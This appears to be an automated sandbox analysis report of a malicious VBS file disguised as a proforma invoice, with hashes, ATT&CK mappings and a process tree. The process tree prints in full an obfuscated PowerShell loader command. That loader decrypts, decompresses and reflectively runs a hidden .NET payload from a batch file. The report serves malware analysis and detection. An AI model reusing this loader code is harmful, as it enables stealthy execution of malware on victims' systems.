b5265d1c46a8ba04c8e10b35461ec00876119de4ca1b2e4a0a5bb3b973cc0b8f

General

Target

Sontheimer Proforma invoice.vbs
Size

182KB
MD5

beaf990fccbf28017a6e72ec92efeb43
SHA1

4a9d9dbe2bdf4736cfc8f81c792e6d7c6cb7f1e7
SHA256

2440d2269a8723ad47733885b1d51745828fa12710b6c3d3fad11d3010f7a89f
SHA512

d7d5927648778a02b3b0320f714eba68ecfde4c80eccf699752b76f62404c58917809e9ca882f2d602068bdcaa9734fa1c707a1f6aea2c18b7c441641953de09
SSDEEP

3072:69xHo0x7TLFPZZNV8wIxjdVHKp2DNjSElqHfhPy9iwb:69VxLhZV8wIxhVG0N8Hfe

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1264	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
1264	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1264	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1264	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 1960 wrote to memory of 1836	1960	WScript.exe	30
PID 1960 wrote to memory of 1836	1960	WScript.exe	30
PID 1960 wrote to memory of 1836	1960	WScript.exe	30
PID 1836 wrote to memory of 2128	1836	cmd.exe	32
PID 1836 wrote to memory of 2128	1836	cmd.exe	32
PID 1836 wrote to memory of 2128	1836	cmd.exe	32
PID 2128 wrote to memory of 1264	2128	cmd.exe	34
PID 2128 wrote to memory of 1264	2128	cmd.exe	34
PID 2128 wrote to memory of 1264	2128	cmd.exe	34
PID 2128 wrote to memory of 1264	2128	cmd.exe	34

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Sontheimer Proforma invoice.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1960
- C:\Windows\System32\cmd.exe
  cmd /c ""C:\Users\Admin\AppData\Local\Temp\temp_script.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1836
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\temp_script.bat"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2128
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('DQoNCiRkdWR5cG8gPSBAJw0KJHVzZXJweGROYW1lIHB4ZD0gJGVucHhkdjpVU0VweGRSTkFNRXB4ZDskcWh2cHhkID0gIkNweGQ6XFVzZXB4ZHJzXCR1cHhkc2VyTmFweGRtZVxkd3B4ZG0uYmF0cHhkIjtpZiBweGQoVGVzdHB4ZC1QYXRocHhkICRxaHZweGQpIHsgIHB4ZCAgV3JpcHhkdGUtSG9weGRzdCAiQnB4ZGF0Y2ggcHhkZmlsZSBweGRmb3VuZHB4ZDogJHFocHhkdiIgLUZweGRvcmVncnB4ZG91bmRDcHhkb2xvciBweGRDeWFuO3B4ZCAgICAkcHhkZmlsZUxweGRpbmVzIHB4ZD0gW1N5cHhkc3RlbS5weGRJTy5GaXB4ZGxlXTo6cHhkUmVhZEFweGRsbExpbnB4ZGVzKCRxcHhkaHYsIFtweGRTeXN0ZXB4ZG0uVGV4cHhkdC5FbmNweGRvZGluZ3B4ZF06OlVUcHhkRjgpOyBweGQgICBmb3B4ZHJlYWNocHhkICgkbGlweGRuZSBpbnB4ZCAkZmlscHhkZUxpbmVweGRzKSB7IHB4ZCAgICAgcHhkICBpZiBweGQoJGxpbnB4ZGUgLW1hcHhkdGNoICdweGReOjo6IHB4ZD8oLispcHhkJCcpIHtweGQgICAgIHB4ZCAgICAgcHhkICBXcmlweGR0ZS1Ib3B4ZHN0ICJJcHhkbmplY3RweGRpb24gY3B4ZG9kZSBkcHhkZXRlY3RweGRlZCBpbnB4ZCB0aGUgcHhkYmF0Y2hweGQgZmlsZXB4ZC4iIC1GcHhkb3JlZ3JweGRvdW5kQ3B4ZG9sb3IgcHhkQ3lhbjtweGQgICAgIHB4ZCAgICAgcHhkICB0cnlweGQgeyAgIHB4ZCAgICAgcHhkICAgICBweGQgICAkZHB4ZGVjb2RlcHhkZEJ5dGVweGRzID0gW3B4ZFN5c3RlcHhkbS5Db25weGR2ZXJ0XXB4ZDo6RnJvcHhkbUJhc2VweGQ2NFN0cnB4ZGluZygkcHhkbWF0Y2hweGRlc1sxXXB4ZC5UcmltcHhkKCkpOyBweGQgICAgIHB4ZCAgICAgcHhkICAgICBweGQkaW5qZXB4ZGN0aW9ucHhkQ29kZSBweGQ9IFtTeXB4ZHN0ZW0ucHhkVGV4dC5weGRFbmNvZHB4ZGluZ106cHhkOlVuaWNweGRvZGUuR3B4ZGV0U3RycHhkaW5nKCRweGRkZWNvZHB4ZGVkQnl0cHhkZXMpOyBweGQgICAgIHB4ZCAgICAgcHhkICAgICBweGRXcml0ZXB4ZC1Ib3N0cHhkICJJbmpweGRlY3Rpb3B4ZG4gY29kcHhkZSBkZWNweGRvZGVkIHB4ZHN1Y2NlcHhkc3NmdWxweGRseS4iIHB4ZC1Gb3JlcHhkZ3JvdW5weGRkQ29sb3B4ZHIgR3JlcHhkZW47ICBweGQgICAgIHB4ZCAgICAgcHhkICAgIFdweGRyaXRlLXB4ZEhvc3QgcHhkIkV4ZWNweGR1dGluZ3B4ZCBpbmplcHhkY3Rpb25weGQgY29kZXB4ZC4uLiIgcHhkLUZvcmVweGRncm91bnB4ZGRDb2xvcHhkciBZZWxweGRsb3c7IHB4ZCAgICAgcHhkICAgICBweGQgICAgIHB4ZEludm9rcHhkZS1FeHBweGRyZXNzaXB4ZG9uICRpcHhkbmplY3RweGRpb25Db3B4ZGRlOyAgcHhkICAgICBweGQgICAgIHB4ZCAgICBicHhkcmVhaztweGQgICAgIHB4ZCAgICAgcHhkICB9IGNweGRhdGNoIHB4ZHsgICAgcHhkICAgICBweGQgICAgIHB4ZCAgV3JpcHhkdGUtSG9weGRzdCAiRXB4ZHJyb3IgcHhkZHVyaW5weGRnIGRlY3B4ZG9kaW5ncHhkIG9yIGVweGR4ZWN1dHB4ZGluZyBpcHhkbmplY3RweGRpb24gY3B4ZG9kZTogcHhkJF8iIC1weGRGb3JlZ3B4ZHJvdW5kcHhkQ29sb3JweGQgUmVkO3B4ZCAgICAgcHhkICAgICBweGQgIH07IHB4ZCAgICAgcHhkICB9OyBweGQgICB9O3B4ZH0gZWxzcHhkZSB7ICBweGQgICAgV3B4ZHJpdGUtcHhkSG9zdCBweGQiU3lzdHB4ZGVtIEVycHhkcm9yOiBweGRCYXRjaHB4ZCBmaWxlcHhkIG5vdCBweGRmb3VuZHB4ZDogJHFocHhkdiIgLUZweGRvcmVncnB4ZG91bmRDcHhkb2xvciBweGRSZWQ7IHB4ZCAgIGV4cHhkaXQ7fTtweGRmdW5jdHB4ZGlvbiBrcHhkdGh2dShweGQkcGFyYXB4ZG1fdmFycHhkKXsJJGFweGRlc192YXB4ZHI9W1N5cHhkc3RlbS5weGRTZWN1cnB4ZGl0eS5DcHhkcnlwdG9weGRncmFwaHB4ZHkuQWVzcHhkXTo6Q3JweGRlYXRlKHB4ZCk7CSRhcHhkZXNfdmFweGRyLk1vZHB4ZGU9W1N5cHhkc3RlbS5weGRTZWN1cnB4ZGl0eS5DcHhkcnlwdG9weGRncmFwaHB4ZHkuQ2lwcHhkaGVyTW9weGRkZV06OnB4ZENCQzsJcHhkJGFlc19weGR2YXIuUHB4ZGFkZGlucHhkZz1bU3lweGRzdGVtLnB4ZFNlY3VycHhkaXR5LkNweGRyeXB0b3B4ZGdyYXBocHhkeS5QYWRweGRkaW5nTXB4ZG9kZV06cHhkOlBLQ1NweGQ3OwkkYXB4ZGVzX3ZhcHhkci5LZXlweGQ9W1N5c3B4ZHRlbS5DcHhkb252ZXJweGR0XTo6RnB4ZHJvbUJhcHhkc2U2NFNweGR0cmluZ3B4ZCgnMk5wcHhkbnhQd2hweGRnUGdNM3B4ZEErS2NxcHhkTXVkMXBweGR0NnBOc3B4ZGMzaGVncHhkT0xxekVweGRvUDVHY3B4ZD0nKTsJcHhkJGFlc19weGR2YXIuSXB4ZFY9W1N5cHhkc3RlbS5weGRDb252ZXB4ZHJ0XTo6cHhkRnJvbUJweGRhc2U2NHB4ZFN0cmlucHhkZygnMlRweGR1L3FCWnB4ZGJCTFpLcHhkaFc5V21weGRQeFdnZ3B4ZD09Jyk7cHhkCSRkZWNweGRyeXB0b3B4ZHJfdmFycHhkPSRhZXNweGRfdmFyLnB4ZENyZWF0cHhkZURlY3JweGR5cHRvcnB4ZCgpOwkkcHhkcmV0dXJweGRuX3ZhcnB4ZD0kZGVjcHhkcnlwdG9weGRyX3ZhcnB4ZC5UcmFucHhkc2Zvcm1weGRGaW5hbHB4ZEJsb2NrcHhkKCRwYXJweGRhbV92YXB4ZHIsIDAscHhkICRwYXJweGRhbV92YXB4ZHIuTGVucHhkZ3RoKTtweGQJJGRlY3B4ZHJ5cHRvcHhkcl92YXJweGQuRGlzcHB4ZG9zZSgpcHhkOwkkYWVweGRzX3ZhcnB4ZC5EaXNwcHhkb3NlKClweGQ7CSRyZXB4ZHR1cm5fcHhkdmFyO31weGRmdW5jdHB4ZGlvbiBycHhkYmNldShweGQkcGFyYXB4ZG1fdmFycHhkKXsJJGdweGRweXQ9TnB4ZGV3LU9icHhkamVjdCBweGRTeXN0ZXB4ZG0uSU8ucHhkTWVtb3JweGR5U3RyZXB4ZGFtKCwkcHhkcGFyYW1weGRfdmFyKXB4ZDsJJGdvcHhkamRjPU5weGRldy1PYnB4ZGplY3QgcHhkU3lzdGVweGRtLklPLnB4ZE1lbW9ycHhkeVN0cmVweGRhbTsJJHB4ZHR6ZmVqcHhkPU5ldy1weGRPYmplY3B4ZHQgU3lzcHhkdGVtLklweGRPLkNvbXB4ZHByZXNzcHhkaW9uLkdweGRaaXBTdHB4ZHJlYW0ocHhkJGdweXRweGQsIFtJT3B4ZC5Db21wcHhkcmVzc2lweGRvbi5Db3B4ZG1wcmVzcHhkc2lvbk1weGRvZGVdOnB4ZDpEZWNvcHhkbXByZXNweGRzKTsJJHB4ZHR6ZmVqcHhkLkNvcHlweGRUbygkZ3B4ZG9qZGMpcHhkOwkkdHpweGRmZWouRHB4ZGlzcG9zcHhkZSgpOwlweGQkZ3B5dHB4ZC5EaXNwcHhkb3NlKClweGQ7CSRnb3B4ZGpkYy5EcHhkaXNwb3NweGRlKCk7CXB4ZCRnb2pkcHhkYy5Ub0FweGRycmF5KHB4ZCk7fWZ1cHhkbmN0aW9weGRuIGh1a3B4ZG5sKCRwcHhkYXJhbV9weGR2YXIsJHB4ZHBhcmFtcHhkMl92YXJweGQpewkkaHB4ZGg9W1N5cHhkc3RlbS5weGRSZWZsZXB4ZGN0aW9ucHhkLkFzc2VweGRtYmx5XXB4ZDo6KCdkcHhkYW9MJ1tweGQtMS4uLXB4ZDRdIC1qcHhkb2luICdweGQnKShbYnB4ZHl0ZVtdcHhkXSRwYXJweGRhbV92YXB4ZHIpOwkkcHhkdWd1PSRweGRoaC5FbnB4ZHRyeVBvcHhkaW50OwlweGQkdWd1LnB4ZEludm9rcHhkZSgkbnVweGRsbCwgJHB4ZHBhcmFtcHhkMl92YXJweGQpO30kaHB4ZG9zdC5VcHhkSS5SYXdweGRVSS5XaXB4ZG5kb3dUcHhkaXRsZSBweGQ9ICRxaHB4ZHY7JGlqcHhkZj1bU3lweGRzdGVtLnB4ZElPLkZpcHhkbGVdOjpweGQoJ3R4ZXB4ZFRsbEFkcHhkYWVSJ1tweGQtMS4uLXB4ZDExXSAtcHhkam9pbiBweGQnJykoJHB4ZHFodikucHhkU3BsaXRweGQoW0VudnB4ZGlyb25tcHhkZW50XTpweGQ6TmV3THB4ZGluZSk7cHhkZm9yZWFweGRjaCAoJHB4ZG1ubHNxcHhkIGluICRweGRpamYpIHB4ZHsJaWYgcHhkKCRtbmxweGRzcS5TdHB4ZGFydHNXcHhkaXRoKCdweGQ6OiAnKXB4ZCkJewkJcHhkJHBxZWhweGQ9JG1ubHB4ZHNxLlN1cHhkYnN0cmlweGRuZygzKXB4ZDsJCWJycHhkZWFrOwlweGR9fSRxZ3B4ZHg9W3N0cHhkcmluZ1tweGRdXSRwcXB4ZGVoLlNwcHhkbGl0KCdweGRcJyk7JHB4ZGJ1eT1ycHhkYmNldSBweGQoa3RodnB4ZHUgKFtDcHhkb252ZXJweGR0XTo6RnB4ZHJvbUJhcHhkc2U2NFNweGR0cmluZ3B4ZCgkcWd4cHhkWzBdKSlweGQpOyRpdnB4ZHluPXJicHhkY2V1IChweGRrdGh2dXB4ZCAoW0NvcHhkbnZlcnRweGRdOjpGcnB4ZG9tQmFzcHhkZTY0U3RweGRyaW5nKHB4ZCRxZ3hbcHhkMV0pKSlweGQ7aHVrbnB4ZGwgJGJ1cHhkeSAkbnVweGRsbDtodXB4ZGtubCAkcHhkaXZ5biBweGQoLFtzdHB4ZHJpbmdbcHhkXV0gKCdweGQlKicpKXB4ZDsNCidADQoNCiRlc2JlZnMgPSAkZHVkeXBvIC1yZXBsYWNlICdweGQnLCAnJw0KDQpJbnZva2UtRXhwcmVzc2lvbiAkZXNiZWZzDQo=')) | Invoke-Expression"
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: CmdExeWriteProcessMemorySpam
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1264

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\temp_script.bat

Filesize
169KB

MD5
e009b770959b12725712474645374d0c

SHA1
8e898422cb10bb5ccffa14a198f831bc6d993c03

SHA256
4c58ef38d745fd50f3d26a4fe523691531cdaef05f3d5e14d92f2236417b5f99

SHA512
ead89e455278b2ab6cb62351e5df01cdcb38c9d2717c1bf58daa5bc2455fd976c097637fb2252931fd63cc342d9d53526fceedcdd92064a238a024a6e7eb4d80

Download Submit
memory/1264-13-0x0000000073F91000-0x0000000073F92000-memory.dmp

Filesize
4KB

Download
memory/1264-14-0x0000000073F90000-0x000000007453B000-memory.dmp

Filesize
5.7MB

Download
memory/1264-15-0x0000000073F90000-0x000000007453B000-memory.dmp

Filesize
5.7MB

Download
memory/1264-16-0x0000000073F90000-0x000000007453B000-memory.dmp

Filesize
5.7MB

Download
memory/1264-17-0x0000000073F90000-0x000000007453B000-memory.dmp

Filesize
5.7MB

Download
memory/1264-18-0x0000000073F90000-0x000000007453B000-memory.dmp

Filesize
5.7MB

Download

Analysis

Sharing